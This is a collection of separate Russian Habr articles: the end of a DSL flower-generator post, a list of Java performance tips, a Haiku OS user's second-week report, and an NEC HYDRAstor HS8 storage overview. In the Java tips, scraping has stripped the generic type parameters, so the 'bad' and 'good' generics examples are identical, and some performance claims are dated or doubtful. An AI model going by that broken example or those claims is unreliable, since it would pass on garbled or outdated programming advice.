Но вместо этого, он может сказать: `p2 not found` . Это потому, что анализ зависимостей работает не полностью, он не видит, что нужно проинициализировать `p2` перед `next`. Я не стал его дорабатывать, потому что в нем есть фатальная проблема: в вызываемых функциях могут быть нужны поля, которые ещё не созданы (в данном случае функция `plus` предполагает, что мы уже знаем, чему равны `x` и `y`). А анализировать всю функцию непросто3: нельзя вызывать интерпретатор, потому что он может поменять какие-то значения. Чтобы это исправить, придется писать громоздкую конструкцию в next:
```
next = if(iter < 5 && p1 != null && p2.x != null && p2.y != null) ...
```
#### Цветок
Чтобы добавить цветок, нужно немного изменить код:
```
// класс из std.geometry2D
class Circle {...}
class FlowerHead : Circle {
r = 5
}
class FlowerSegment : Segment {
iter = parent.iter + 1
next = if(iter < 5) FlowerSegment( \
p1=copy(p2), \
p2 = p2.plus(0, -20).rotate(rndInt(-45,45), p2)) \
else FlowerHead(center=p2) // вместо null теперь цветок, остальной код тот же
}
...
```
#### Разделение стебля
Если для самого стебля мы использовали идею рекурсивного контейнера, то для его разделения используем случайный контейнер:
```
class DoubleFlowerSegment {
iter = parent.iter + 1
angle = rndInt(10, 45)
// тут уже код выглядит страшно.
// для s1.p2, параллельно переносим отрезок родитель,
// поворачиваем его
s1 = FlowerSegment(p1=copy(parent.p2), \
p2=copy(parent.p2) \
.translate(parent.p2.minus(parent.p1)) \
.rotate(angle, parent.p1))
s2 = FlowerSegment(p1=copy(parent.p2), \
p2=copy(parent.p2) \
.translate(parent.p2.minus(parent.p1)) \
.rotate(-angle, parent.p1))
}
class FlowerSegment : Segment {}
// остальной код не меняется
```
На этом этапе будут получатся такие картинкиПолный код
```
import std.utils as utils
import std.geometry2D as geom
import std.svg as svg
fun main() {
r = Root()
svgRes = svg.createSVG(r, 300, 400)
write(svgRes, "result.svg")
}
class FlowerHead : Circle {
r = 5
}
class FlowerSegment : Segment {
iter = parent.iter + 1
next = if(iter < 5 && p1 != null && p2.x != null && p2.y != null) \
(if(rnd() > 0.7) DoubleFlowerSegment() else \
FlowerSegment( \
p1=copy(p2), \
p2 = p2.plus(0, -20).rotate(rndInt(-45,45), p2))) \
else FlowerHead(center=p2)
}
class DoubleFlowerSegment {
iter =parent.iter + 1
angle = rndInt(10, 45)
s1 = FlowerSegment(p1=copy(parent.p2), \
p2=copy(parent.p2)\
.translate(parent.p2.minus(parent.p1)) \
.rotate(this.angle, parent.p1))
s2 = FlowerSegment(p1=copy(parent.p2), \
p2=copy(parent.p2)\
.translate(parent.p2.minus(parent.p1))\
.rotate(-this.angle, parent.p1))
}
class Root {
width = 400
height = 300
iter = 0
child = FlowerSegment(p1=Point(x=width/2,y=height),\
p2=Point(x=width/2,y=height-10))
}
```
Можно вставить его в [IDE](https://llesha.github.io/regina/ide/) и запустить
#### Остальные части
Чтобы цветы приобрели завершенный вид, нужно ещё сделать несколько шагов, которые я не вижу ценности разбирать:
1. Стеблю и цветку нужно добавить цвета.
2. Чтобы добавить тень, нужно каждый из отрезков продублировать и сместить копии влево на 1. Цвет этих сегментов нужно изменить на более темный.
3. Цветкам нужно добавить лепестки, стеблям — листья.
4. Чтобы не было ощущения, что все цветки "смотрят" на зрителя, их нужно изменить через svg transform.
### Еще немного особенностей реализации
1. Для всех токенов4 объявлен метод `evaluate(symbolTable: SymbolTable)`, который говорит, как токен должен интерпретироваться. Это очень удобно, но, наверное, никак иначе сделать нельзя :)
2. Можно интерпретировать параллельно несколько программ (дебажить нельзя).
### Про IDE
Я использовал monaco editor, потому что у него есть удобный [playground](https://microsoft.github.io/monaco-editor/playground.html#creating-the-editor-hello-world), в котором разобраны нужные кейсы.
Пожалуй, самое лучшее в IDE — это дебаггинг. Только это ненастоящий дебаг, потому что сперва вся программа прогоняется. "Дебаг" — это просто запись значений переменных. Зато с дебагом синхронизируется консольный вывод.
На втором месте подсвечивание ошибок.
### Выводы
* Сделал ли я DSL специально для генераторов? Нет. В генераторе цветов на C# не сильно больше кода, чем на языке, который я сделал.
* Понравилось ли мне это разрабатывать? Конечно, да!
* Какие уроки я извлек из этого? Прежде чем создавать что-то, нужно проверить, как это примерно будет выглядеть в конечном итоге, и вообще стоит ли ради этого итога работать. Нужно было:
+ Набросать генератор цветов на моем языке,
+ Понять, что он не лучше, чем реализация на императивном языке,
+ Изменить подход / отказаться от реализации.
1есть ещё поля Int, Double, List, Dictionary. Class — это то, что мы объявляем (как и в других языках).
2когда я делаю генераторы, я представляю их через эту систему. Она как бы "большими мазками" описывает как будут строиться картинки, а детали уже описываются в коде. Мне кажется, эта система удобна при создании генераторов независимо от языка, контейнеры можно воспринимать как паттерны.
3вообще можно создать аннотацию `@Requires()` для функций класса и в ней писать, какие поля должны быть проинициализированы перед вызовом.
4токен — это любой элемент в языке, например `while`, `{`, `"abc"`, `123`, бинарные операторы (`=`, `-`, `+`, `||`). Обычно токены разделены вайтспейсами. | https://habr.com/ru/post/709300/ | null | ru | null |
# Маленькие хитрости Java
Я уже достаточно много лет занимаюсь разработкой на java и повидал довольно много чужого кода. Как это не странно, но постоянно от одного проекта к другому я вижу одни и те же проблемы. Этот топик — попытка ликбеза в наиболее часто используемых конструкциях языка. Часть описанного — это довольно банальные вещи, тем не менее, как показывает мой опыт, все эти банальности до сих пор актуальны. Надеюсь, статья пригодится многим java программистам. Итак, поехали:
###### new vs valueOf
```
//медленно
Integer i = new Integer(100);
Long l = new Long(100);
String s = new String("A");
//быстро
Integer i = Integer.valueOf(100);
Long l = 100L;//это тоже самое что Long.valueOf(100L);
String s = "A";
```
Старайтесь всегда использовать метод valueOf вместо конструктора в стандартных классах оболочках примитивных типов, кроме случаев, когда вам нужно конкретно выделить память под новое значение. Это связано с тем, что все они, кроме чисел с плавающей точкой, от Byte до Long имеют кеш. По умолчанию этот кеш содержит значения от -128 до 127. Следовательно, если ваше значение попадает в этот диапазон, то значение вернется из кеша. Значение из кеша достается в 3.5 раза быстрее чем при использовании конструктора + экономия памяти. Помимо этого, наиболее часто используемые значения могут также быть закэшированы компилятором и виртуальной машиной. В случае, если ваше приложение очень часто использует целые типы, можно увеличить кеш для Integer через системное свойство «java.lang.Integer.IntegerCache.high», а так же через параметр виртуальной машины -XX:AutoBoxCacheMax=.
###### + vs append
```
//медленно
String[] fields = new String[] {"a","b","c","d","e","f","g"};
String s = "";
for (int i = 0; i < fields.length; i++) {
s = s + fields[i];
}
return s;
//быстро
String[] fields = new String[] {"a","b","c","d","e","f","g"};
StringBuilder s = new StringBuilder();
for (int i = 0; i < fields.length; i++) {
s.append(fields[i]);
}
return s.toString();
```
Никогда не используйте операции конкатенации (оператор +) строки в цикле, особенно если таких операций у вас много, это может очень существенно снизить производительность. Все это происходит потому, что в приведенном выше примере «s = s + fileds[i]» выполняется целых 3 операции: создается StringBuilder на основе строки s, вызывается метод конкатенации append, после конкатенации вызывается метод toString (выглядит так: s = new StringBuilder(s).append(fields[i]).toString();). Целых 3 операции вместо одной! Помимо этого каждый результат s + fileds[i] будет занимать память в куче, как отдельная строка.
###### StringBuilder vs StringBuffer
Всегда ипользуйте StringBuilder, кроме случаев, когда вам необходимо использовать конкретно StringBuffer, так как в StringBuilder нету синхронизированных методов в отличие от StringBuffer и следовательно производительность будет выше, хоть и не значительно.
###### instanceOf
Старайтесь как можно реже использовать оператор instanceOf. Это один из самых медленных java операторов и подходить к его использованию нужно осторожно. Имейте в виду — чаще всего наличие этого оператора в коде означает непонимание принципов ООП, нежели попытка реализовать некий паттерн. Почти всегда полиморфизм способен помочь избавится от этого оператора.
P. S. Многие в комментариях аппелируют к «Это один из самых медленных java операторов». Это действительно так. Конечно, не совсем корректно сравнивать операторы языка по производительности, так как они выполняют абсолютно разные задачи, но, тем не менее, механизм работы instanceOf гораздо сложнее, например, оператора '\*'.
###### Generics
```
//плохо
List a = new ArrayList();
//хорошо
List a = new ArrayList();
```
Всегда старайтесь типизировать ваши коллекции, методы и классы. Это избавляет сразу от 2-х потенциальных проблем: приведение типов и ошибок выполнения. Также назначение таких коллекций легче воспринимать. Особенно часто этим пренебрегают мои американо-индусские коллеги. Если же ваша коллекция должна содержать обьекты разных типов — используйте , а еще лучше extends someType тогда зная общий класс/интерфейс для всех обьектов вам не прийдется делать приведение типов и применять оператор instanceOf.
###### Interface for Consts
```
//плохо
interface A {
public static final String A = "a";
}
//хорошо
final class A {
public static final String A = "a";
}
```
Очень часто встречаются интерфейсы для описания констант. Это не правильно с точки зрения ООП. Интерфейс должен описывать поведение, не больше не меньше. Этот пункт не очень принципиален, тем более что результат компиляции будет один и тот же, но все же java это ООП язык и было бы хорошо придерживаться его принципов.
###### [Override](http://habrahabr.ru/users/override/)
Старайтесь использовать [Override](http://habrahabr.ru/users/override/) аннотацию для методов, которые переопределяют методы супер классов. Это позволяет сразу избежать опечаток и повышает читаемость кода (позволяет сразу понять, что у супер класса есть такой же метод не открывая родительский класс).
###### null vs empty
Всегда старайтесь в методах вашей бизнес логики возвращать пустые коллекции вместо null значений, это избавляет от лишних null-проверок и делает код чище. Для этого в классе Collections есть несколько замечательных методов:
```
Collections.emptyList();
Collections.emptyMap();
Collections.emptySet();
```
В комментариях просят уточнить вариант применения. Типичный случай:
```
Set docs = getDocuments(plan);
for (Document doc : docs) {
sendMessage(doc.getOwner());
}
public static Set getDocuments(Plan plan) {
//some logic
if (isDoSomethingOk() && hasAccessToDocuments(user)) {
return plan.getDocuments();
}
return Collections.emptySet();
}
```
Конечно, это не значит что эта техника должна быть применена абсолютно везде. Скажем, если Вы сериализируете обьекты, то тут лучше подойдут null значения. Собственно — «в методах вашей бизнес логики» как раз и означает применение в логике, а не в модели.
###### Преобразование чисел
```
//медленно
int a = 12;
String s = a + "";
//быстро
int a = 12;
String s = String.valueOf(a);
```
Ситуация очень схожа с конкатенацией строк.
###### Выводы
Само собой разумеется, что применение подобных правил не спасет вас от плохо продуманной модели приложения, медленного алгоритма или не оптимизированных запросов, но придерживаясь этих простых принципов, вы можете не плохо ускорить работу ваших программ, сами того не подозревая. | https://habr.com/ru/post/132241/ | null | ru | null |
# Моя вторая неделя с Haiku: множество скрытых алмазов и приятных сюрпризов, а также некоторые проблемы
*Редактирование снимка экрана для этой статьи — в Haiku*
**TL;DR:** Производительность намного лучше, чем изначально. Виноват был ACPI. Запуск в виртуальной машине работает прекрасно для показа экрана. Git и менеджер пакетов встроены в файловый менеджер. Публичные беспроводные сети не работают. Разочарование с python.
[На прошлой неделе](https://habr.com/ru/company/southbridge/blog/461141/) я открыл для себя Haiku, неожиданно хорошую систему. И даже сейчас, на второй неделе я продолжаю находить множество скрытых алмазов и приятных сюрпризов, ну и, само собой, еженедельную порцию различных нюансов.
Производительность
------------------
Как оказалось, плачевная производительность первой недели, особенно в браузере (задержки при наборе текста, к примеру), возможно, связаны с кривой реализацией ACPI в BIOS моего компьютера.
Для того, чтобы отключить ACPI я делаю:
```
sed -i -e 's|#acpi false|acpi false|g' /boot/home/config/settings/kernel/drivers/kernel
```
и перезагружаюсь. Теперь моя система наконец-то отзывается быстро, как и было отмечено в прошлом другими рецензентами. Но в результате я больше не могу перезагружаться без kernel panic (выключить можно с сообщением "Теперь питание компьютера можно отключить").
ACPI, DSDT, iasl
----------------
Да ладно, скорее всего, надо выполнить отладку ACPI, я что-то смутно помню об этом с тех времен, когда работал над PureDarwin, потому что ядру xnu частенько были нужны поправленные файлы `DSDT.aml`
Погнали...
Качаю и собираю `iasl`, [программу отладки ACPI от Intel](https://acpica.org/downloads). Вообще-то нет, он уже был портирован:
```
~> pkgman install iasl
```
Сохраняю таблицы ACPI:
```
~> acpidump -o DSDT.dat
Cannot open directory - /sys/firmware/acpi/tables
Could not get ACPI tables, AE_NOT_FOUND
```
Оказывается, оно еще не работает в Haiku, решаю перезагрузиться на Linux, там и сниму содержимое ACPI. Затем я поправил ошибки с помощью iasl, текстового редактора и некоторых знаний (можно поискать в Google "patch dsdt fix") и бездны терпения. Тем не менее, в результате у меня все равно не получилось загрузить исправленный DSDT с помощью загрузчика Haiku. Правильным решением, возможно, будет перенос [ACPI on-the-fly patching](https://github.com/RehabMan/Clover/blob/master/rEFIt_UEFI/Platform/AcpiPatcher.c), в загрузчик Haiku (примерно так же, как это [делает загрузчик Clover](https://github.com/RehabMan/Clover/blob/286561fa45bac94412890ac66e2e5283540779aa/CloverPackage/package/Resources/templates/Description.html#L35), исправляя DSDT на лету по меткам и шаблонам). Я открыл [заявку](https://dev.haiku-os.org/ticket/15196).
Виртуальные машины
------------------
Вообще, я не фанат виртуальных машин, поскольку они чаще всего потребляют больше оперативной памяти и других ресурсов, которые мне доступны. Кроме того, мне не нравятся накладные расходы. Но мне пришлось рискнуть и воспользоваться ВМ, поскольку Haiku пока не умеет записывать видеотрансляции со звуком (поскольку на моем оборудовании не работают драйвера звука и есть карта, подключаемая по usb1 (первой версии), а ее драйвер должен быть собран вручную). Что хочу сказать: для [такого решения](https://www.haiku-os.org/guides/virtualizing/kvm/?source=post_page-----7e508f0db987----------------------) удалось получить очень хороший результат при создании моей видеотрансляции. Оказалось, что Virtual Machine Manager — настоящее чудо. Возможно, в это ПО (которое я лет 15 игнорировал) компания RedHat вложила все свои инженерные деньги. Во всяком случае, к моему большому удивлению, виртуализированная Haiku работает чуть быстрее, чем на таком же оборудовании (в это трудно поверить. но мне так кажется). *[Не кажется, был аналогичный опыт в 2007 году с только что вышедшей Centos5, которую можно было установить виртуализированной в Xen. — прим. переводчика]*
Видеотрансляция
---------------
Телодвижений, на мой вкус, понадобилось многовато, поэтому я записал пошаговое руководство (по большей части для себя же, чтобы воспроизвести потом), но вы также можете воспользоваться этой информацией для записи своих видеотрансляций Haiku (что совершенно точно стоит попробовать).
Кратко:
* Используйте приличные наушники и звуковую карту C-Media USB
* Загрузите компьютер с помощью живого образа Pop!OS NVIDIA (для аппаратного ускорения кодирования nvenc)
* Скачайте ночной образ Haiku Anyboot 64bit
* Настройте KVM, как было описано в статье выше
* Скачайте OBS Studio AppImage (не забудьте сказать разработчикам, что хотите официальный)
* Добавьте фильтр для шумоподавления в Desktop Audio (щелкаем правой кнопкой мыши по Desktop Audio, потом "Filters", потом "+", потом "Noise Suppression", уровень оставьте по-умолчанию)
* Пройдитесь по настройкам звука в XFCE
* Щелкните правой кнопкой мыши по Desktop Audio, потом "Properties", выберите устройство "Audio Adapter Analog Stereo"
* Зайдите в меню XFCE, в "Workspaces"
* Выставьте там число рабочих столов: 2
* Ctr-Alt-ПраваяСтрелка переключит на второй рабочий стол
* Исправьте ярлык для запуска Virtual Machine Manager так, чтобы он запускался от root (добавляя в начале `sudo`), иначе он у меня не работал
* Запустите Haiku на втором рабочем столе
* Загрузитесь до ее рабочего стола, выставьте разрешение FullHD (мне не удалось заставить Haiku сделать это автоматически, возможно есть способ заставить QEMU\KVM передавать EDID от монитора, но я не нашел такую настройку в Virtual Machine Manager) *[надо было поставить еще одну видеокарту и пробросить ее в Haiku… — прим. переводчика]*
* Нажмите Ctrl+Alt для того, чтобы клавиатура и мышь "вернулись" к Linux
* Ctr-Alt-ЛеваяСтрелка переключит на первый рабочий стол
* В OBS добавьте "Window Capture (XComposite)", и выберите окно "Haiku on QEMU\KVM", включите галку "Swap red and blue".
* Запишите видео, отредактируйте его с помощью Shotcut (запустите его от пользователя root, чтобы работало аппаратное ускорение nvenc)
* Звуковая дорожка из музыкальной библиотеки YouTube "Timelapsed Tides". Фильтры: "Audio fade in", "Audio fade out", громкость -35db (ладно, хватит, это же не инструкция для Shotcut)
* Экспорт, "YouTube", загрузка. Видео станет FullHD на YouTube без особой постобработки
Вуаля!
<https://youtu.be/CGs-lZEk1h8>
*Видеотрансляция Haiku с помощью QEMU\KVM, звуковой карты USB, OBS Studio и Shotcut*
Я счастлив, хотя был бы намного счастливее, если бы звуковая карта, OBS Studio и Shotcut изначально работали в Haiku, и мне не пришлось бы выполнять эту длинную настройку. *[Взял бы VirtualBox, там все есть сразу для записи видеотрансляции прямо в настройках виртуальной машины. — прим. переводчика]*
Tracker и его дополнения
------------------------
Tracker для Haiku такая же вещь, как Finder в Mac, или Explorer в Windows. Попробую поискать `tracker add-on` в HaikuDepot.
### Интеграция Git в файловой менеджере
Просто цитирую картинки с его домашней страницы
*TrackGit включен в файловый менеджер Haiku*
*Можно даже склонировать репозиторий*
Это что, шутка?! Пароль открытым текстом? Удивительно, что они не используют "keychain", для этого в Haiku есть BKeyStore. [Оставил заявку](https://github.com/Hrily/TrackGit/issues/2).
*Пароль открытым текстом?*
### Интеграция менеджера пакетов в файловый менеджер
Согласно домашней страницы проекта:
> Находит пакет(-ы) любого выбранного файла(-ов), открывая его в предпочтительном приложении. По-умолчанию это HaikuDepot, где можно посмотреть описание пакета, а на вкладке "Содержимое" можно увидеть другие файлы, которые являются частью этого пакета, а также их местоположение.
Вероятно, остался только один шаг для удаления пакета...
Autostart/rc.local.d
--------------------
Как же запускать что-либо автоматически при загрузке?
* rc.local.d = /boot/home/config/settings/boot/userbootscript
* Autostart = /boot/home/config/settings/boot/user/launch
Мне надо найти команду синхронизации локального времени по NTP… Я слышал, что оно вообще должно работать автоматически, но у меня почему-то не работает. Что очень плохо, поскольку у меня сдохшая батарея для RTC, что означает сброс времени при отключении питания.
Больше подсказок
----------------
Приложение [Tipster](https://github.com/humdingerb/Tipster/blob/master/tips/tips-en.txt) показывает полезные советы и рекомендации (ознакомьтесь с ними!).
Публичные беспроводные сети
---------------------------
У меня не получилось подключиться к беспроводным сетям во время прогулки несмотря на то, что домашняя беспроводная сеть у меня работает. Публичные места (аэропорты, отели, вокзалы) обычно покрыты множеством беспроводных сетей, каждая из которых обычно состоит из нескольких точек доступа.
*Центральный ж/д вокзал Франкфурта*
А что же мы найдем на [ж/д вокзале Франкфурта](https://www.bahnhof.de/bahnhof-en/Frankfurt__Main__Hbf-3805542)? Кучу разных сетей:
*Обычная ситуация для публичных мест. Здесь: Центральный ж/д вокзал Франкфурта*
Возможностей для подключения — хоть отбавляй. А что делает Haiky с этими сетями? На самом деле не много: сильно путается в них. Ведь я был отключен от сети все это время.
### Не работает передача точек доступа?
Все начинается с того, что каждая точка доступа показывается отдельно, — даже если они принадлежат одной сети с общим SSID, — не то что на любой другой, знакомой мне, ОС.
*Показывается несколько точек с одинаковым SSID. Ну, и как будет работать передача обслуживания в таких условиях?*
А должен отображаться только один SSID, для которого будет подбираться точка доступа с самым сильным сигналом. Клиент должен выбрать другую точку с более сильным сигналом, но с тем же SSID (при доступности), если связь с текущей точкой доступа станет слишком слабой — все работает даже при перемещении (передача обслуживания клиента между точками доступа). [Создал заявку](https://dev.haiku-os.org/ticket/15181).
### Никаких открытых сетей?
*Haiku настаивает на том, что должен быть пароль, даже если сеть открытая.*
Haiku продолжает требовать пароль сети, хотя самой сети никаких паролей не нужно. Также [создал заявку](https://dev.haiku-os.org/ticket/15182).
### Путаница из-за captive portals?
Многие беспроводные сети используют captive portals, когда пользователь перенаправляется на страницу авторизации, где может принять условия и соглашения, прежде чем использовать сеть. Возможно, это запутало мою ОС еще больше. В конце концов, по всей видимости, беспроводная подсистема у меня заблокировалась полностью.
*Спустя некоторое время вся беспроводная подсистема полностью заблокировалась*
Нет доступа к сети во время путешествия, печаль-тоска.
Разочарование с Python
----------------------
Как легко и непринужденно запустить "случайно" выбранную программу на Python? Оказалось, не все так просто. По крайней мере я сам не до конца все понял...
```
git clone https://github.com/micahflee/onionshare.git
cd onionsharepython3 -m venv venv
pkgman i setuptools_python36 # pkgman i setuptools_python installs for 3.7
pip3 install -r install/requirements.txt
Could not find a version that satisfies the requirement PyQt5==5.12.1 (from -r install/requirements.txt (line 15)) (from versions: )
No matching distribution found for PyQt5==5.12.1 (from -r install/requirements.txt (line 15))
# stalled here - does not continue or exit
pkgman i pyqt
# No change, same error; how do I get it into the venv?
# Trying outside of venv
Could not find a version that satisfies the requirement PyQt5==5.12.1 (from -r install/requirements.txt (line 15)) (from versions: )
No matching distribution found for PyQt5==5.12.1 (from -r install/requirements.txt (line 15))
```
Подвисший `pip` — известная проблема (ему нужна поддержка hardlinks, которые не поддерживаются в Haiku). Мне подсказали, что надо использовать `python3.6` (я бы сказал, что это бардак). Открыл [заявку с pip](https://github.com/pypa/pip/issues/6761)
Куда идем дальше?
-----------------
Haiku является примером сфокусированной операционной системы для ПК, и как таковая имеет отличные принципы, значительно упрощающие общие рабочие процессы. Её разработка была стабильной, но неспешной — последние лет 10, в результате чего поддержка оборудования осталась достаточно ограниченной, а сама система относительно неизвестной. Но ситуация меняется: поддержка оборудования обеспечивает возможность запуска Haiku на относительно широком списке машин (хотя и с ошибками), а с учетом того, что версия системы не 1.0 — системе надо привлечь большее внимание общественности. Чем я могу помочь лучше всего? Полагаю, эта серия статей будет полезна. Спустя 2 недели я [начал](https://dev.haiku-os.org/ticket) [сообщать об ошибках](https://github.com/haikuports/haikuports/issues), а также начал серию видеотрансляций.
Еще раз выражаю огромную благодарность команде разработчиков Haiku, вы лучшие! Обязательно дайте знать, если придумаете, как я смогу внести вклад в развитие проекта, хотя я и не планирую писать на с++ в ближайшее время.
Попробуйте сами! Ведь проект Haiku предоставляет образы для загрузки с DVD или USB, формируемые [ежедневно](https://download.haiku-os.org/?source=post_page---------------------------).
Появились вопросы? Приглашаем вас в русскоязычный [telegram-канал](https://t.me/HaikuOS_RU_chat).
probono — основатель и ведущий разработчик проекта AppImage, основатель проекта PureDarwin, участник различных проектов с открытым исходным кодом. Снимки экрана были сделаны на Haiku. Благодарность выражается разработчикам на канале #haiku в сети irc.freenode.net
Обзор ошибок: [Как выстрелить себе в ногу в C и C++. Сборник рецептов Haiku OS](https://habr.com/ru/company/pvs-studio/blog/461255/)
От [автора](https://habr.com/ru/users/Finnix/) перевода: это девятая и заключительная статья из цикла про Haiku.
Список статей: [Первая](https://habr.com/ru/company/southbridge/blog/461141/) [Вторая](https://habr.com/ru/company/southbridge/blog/461451/) [Третья](https://habr.com/ru/company/southbridge/blog/462815/) [Четвертая](https://habr.com/ru/company/southbridge/blog/463105/) [Пятая](https://habr.com/ru/company/southbridge/blog/463803/) [Шестая](https://habr.com/ru/company/southbridge/blog/464819/) [Седьмая](https://habr.com/ru/company/southbridge/blog/465241/) [Восьмая](https://habr.com/ru/company/southbridge/blog/466301/) | https://habr.com/ru/post/468059/ | null | ru | null |
# Технический обзор систем NEC HYDRAstor HS8 и не только
Когда в нашей стране люди слышат название компании NEC первым делом люди старшего поколения вспоминают вот это:
Те кто чуть моложе вот это:
**(под катом много картинок)**
Корпорация NEC
--------------
Звучит примерно как «Эн-и-си». А на английском это расшифровывается как **N**ippon **E**lectric **C**orporation. Хотя у нас в стране обычно произносят как НЭК :).
 * Штаб Квартира – Токио, Япония (на картинке)
* Оборот за 2018 год — $29 млрд
* Общее число сотрудников 109 000+
* Основные заводы находятся на территории Японии, несколько заводов в Малайзии
* 65% оборота – продажи внутри Японии
* 18 представительств в 18 странах
* 4 научно-исследовательских центра в 4 странах
Компания была зарегистрирована в Токио в 1899 году и первые годы занималась производством телефонного оборудования.
Сегодня NEC производит довольно большой спектр решений, ознакомиться с которыми можно на [официальном сайте компании](https://www.nec.com/en/global/solutions/index.html#anc-03)
Но мне хотелось бы рассказать уважаемому сообществу о линейке систем хранения для резервных копий с дедупликацией NEC HYDRAstor и в первую очередь о старшем семействе HS8.
NEC HYDRAstor HS8
-----------------
Что меня удивило с самого начала, так это то, что вышло уже 5-ое поколение этих систем, а в России про них почти ничего не известно. По крайней мере общаясь с людьми из вендоров, интеграторов или заказчиков я чаще видел удивление в качестве первой реакции при упоминании этих решений.
На картинках ниже представлен актуальный модельный ряд NEC HYDRAstor HS8 и основные характеристики моделей.
СХД HYDRAstor – это системы построенные на базе scale-out архитектуры. Соответственно СХД NEC HS8 горизонтально масштабируемая система и может быть расширена до 165 узлов для увеличения емкости и производительности. Это позволяет начать с маленькой менее дорогой конфигурации (Н-р: однонодовой) и затем последовательно ее расширять по мере растущих потребностей в резервном копировании. Как видно из картинок, кластера HS8 могут содержать ноды двух типов. Гибридные ноды (Hybrid Node), совмещающие в себе функции контроллеров (Accelerator Node), взаимодействующих с серверами резервного копирования, а так же функцию хранения данных (Storage Node). И отдельные ноды хранения (Storage Node), которые используются для увеличения доступного дискового пространства в системе хранения. В зависимости от модели системы и требований заказчика соотношение Hybrid и Storage нод в кластере может варьироваться.
**2** — One (1) Terabyte (TB) = 1,000,000,000,000 bytes.
**3** — Assumption: full backup weekly and incremental backup daily, and 3 months retention period to achieve 20:1 data reduction ratio; 9+3 resiliency level.
Возможна конфигурация нод дисками по 8TB по запросу заказчика. Максимальная производительность на ноду по данным вендора 61TB/ч или 72TB/h при 1HN+1SN, но это при условии использования дедупликации на источнике (Deduped Transfer) и данных, которые хорошо поддаются дедупликации. Как и у многих вендоров это больше маркетинговая цифра — так называемый Best Case. А самый плохой случай это 450MB/s на одну ноду на 12 SATA дисков — это при условии, что данные не поддаются дудупликации и компрессии совсем. Т.е. весь не сжатый и не дедуплицируемый поток идет на SATA диски, что называется — Worst Case. Таким образом выше описанное это своего рода крайние значения, а реальность в каждом конкретном кейсе будет где-то в промежутке между ними.
**Внешний вид нод HS8-5000** спереди представлен ниже. Фактически это собственные сервера NEC с дисками и сетевыми картами. CPU во всех нодах E5-2600v3 поколения.
Вид сзади гибридной ноды с internal и external портами на 1Gbe. Internal порты используются для внутрикластерных соединений между нодами HydraStor. External порты используются для внешних клиентских подключений к кластеру (например для медиа-серверов бэкапа). Справа видны два SAS диска, на которых размещается операционная система ноды.
Вид сзади гибридной ноды с internal и external портами на 1Gbe и двумя 10Gbe external портами.
Вид сзади гибридной ноды с internal и external портами на 1Gbe и четырьмя 10Gbe external портами.
Вид сзади сторадж ноды с internal портами на 1Gbe.
Внутренние подключения в двухнодовом кластере, состоящем из двух гибридных нод без использования свитчей. При апгрейде с одно-нодовой конфигурации до двух нодового кластера требуется планировать 4 часовой down time для переконфигурации внутренних LSN (Logical storage nodes). Данные уже записанные на кластер при этом не теряются.
Внутренние подключения в двухнодовом кластере, состоящем из гибридной ноды и сторадж ноды без использования свитчей.
Схематичное подключение кластера состояещего из более чем 2 нод с использованием внутри-кластерных Ethernet свитчей.
Для работы внутри кластера используются L2 свитчи NEC собственного производства. Ниже представлен пример стекирования внутри-кластерных свитчей NEC, которые используются для подключения internal портов нод HydraStor. В зависимости от размеров кластера может использоваться от двух до трех 48 портовых Ethernet свитчей на один телекоммуникационный шкаф. Всего максимум 39 одноюнитовых свитчей на кластер (с учетом “Top-of-Rack” L3 свитчей). Свитчи поставляются в комплекте с кластером в составе единого решения.
Пример таблицы коммутации портов на internal Ethernet свитчах.
HNxxxx-M: Connect to Maintenance Port of Hybrid Node
HNxxxx-1/2/3/4: Connect to iLAN1/2/3/4 Port of Hybrid Node
SNxxxx-M: Connect to Maintenance Port of Storage Node
SNxxxx-1/2/3/4: Connect to iLAN1/2/3/4 Port of Storage Node
L3xxxxx-xx: Connect to L3 switches
Через L3 свитчи обеспечивается связанность между телекоммуникационными шкафами в больших конфигурациях.
Пример поставки готового кластера NEC HydraStor для установки в телекоммуникационном шкафу заказчика. 15 нод на шкаф, до 11 шкафов в максимальной конфигурации.
[](https://habrastorage.org/webt/8o/cq/9u/8ocq9upz3zhu7bqileiew96xsuo.jpeg)
В HYDRAstor используется inline глобальная дедупликация в пределах всего кластера — **DataRedux**.
При дедупликации данные разбиваются на блоки переменной длинны, что позволяет более точно реагировать на изменение файлов при последующих бэкапах. Для уникальных блоков дополнительно используется алгоритм компрессии LZO для уменьшения размера хранимых данных.
Изменение каких-то данных в середине файла, не приводит к образованию новых уникальных блоков, как при дедупликации с использованием блоков постоянной длинны. Алгоритм довольно точно определяет измененный участок файла, а все последующие блоки остаются неизменными и дедуплицируются.
СХД NEC HS8 предлагает высокий уровень резервирования хранимых данных, превосходящий используемый обычными СХД. Записываемые данные разделяются на множество блоков, добавляя к этим блокам специальные контрольные суммы, а затем распределяются по дискам в различных узлах, СХД NEC HS8 обеспечивает восстановление данных даже в случае отказов в нескольких точках одновременно. Она может справится не только с одновременными отказами 3 дисков, но и узлов, предотвращая потерю информации при отказе. Для защиты данных используются алгоритмы [Erasure Coding](https://en.wikipedia.org/wiki/Erasure_code).
За счет того, что на HYDRAStor не используется RAID и выделенные HS диски, восстановление после сбоев (дисков или нод) происходит намного быстрее чем при использовании RAID. Так как восстановление идет по схеме от многих к многим, используя свободное пространство для восстановления данных.
Хранимые данные периодически подвергаются проверке на целостность. Если выясняется, что данные повреждены, то они автоматически восстанавливаются из контрольных сумм.
**Distributed Resilient Data (DRD) это:**
**1. Определяемая пользователем защита от сбоя диска или ноды**
* Защита от 3 параллельных сбоев по умолчанию
* Возможность использования нескольких уровней (1-6) защиты для различных приложений в одной системе (разные файловые системы с нужным уровнем защиты под разные приложения)
**2. Лучшая защита с меньшими затратами**
* По умолчанию используется 75% емкости под хранение данных и 25% под их защиту
* В 1.5 раза надежнее чем RAID 6 с меньшими затратами и более быстрым восстановлением
* Нет необходимости в запасных дисках (Hot Spare), восстановление идет в свободное место в кластере
**3. Более быстрое восстановление с меньшей деградацией производительности**
* Восстанавливаются только данные, а не диск целиком
* Данные восстанавливаются в режиме многие к многим в отличии от RAID
Ниже представлена таблица зависимости количества допустимых сбоев дисков или нод для одно и двух-нодовых конфигураций.
Отличный от дефолтного (3) уровень защиты можно назначить на каждую вновь создаваемую файловую систему. Чем выше указанный Resilience уровень, тем надежнее защищены данные от потери, но и тем больше затраты по месту на дисках, которое требуется для этой защиты. Если сравнивать с конкурентными решениями, то примерно такие же затраты дискового пространства в 25% получаются у конкурентов при использовании Raid6, который позволяет потерять не более чем 2 диска из одной Raid группы. HydraStor же может потерять до 3 дисков без потери данных при тех же 25% дискового пространства, затраченного на защиту хранимых данных.
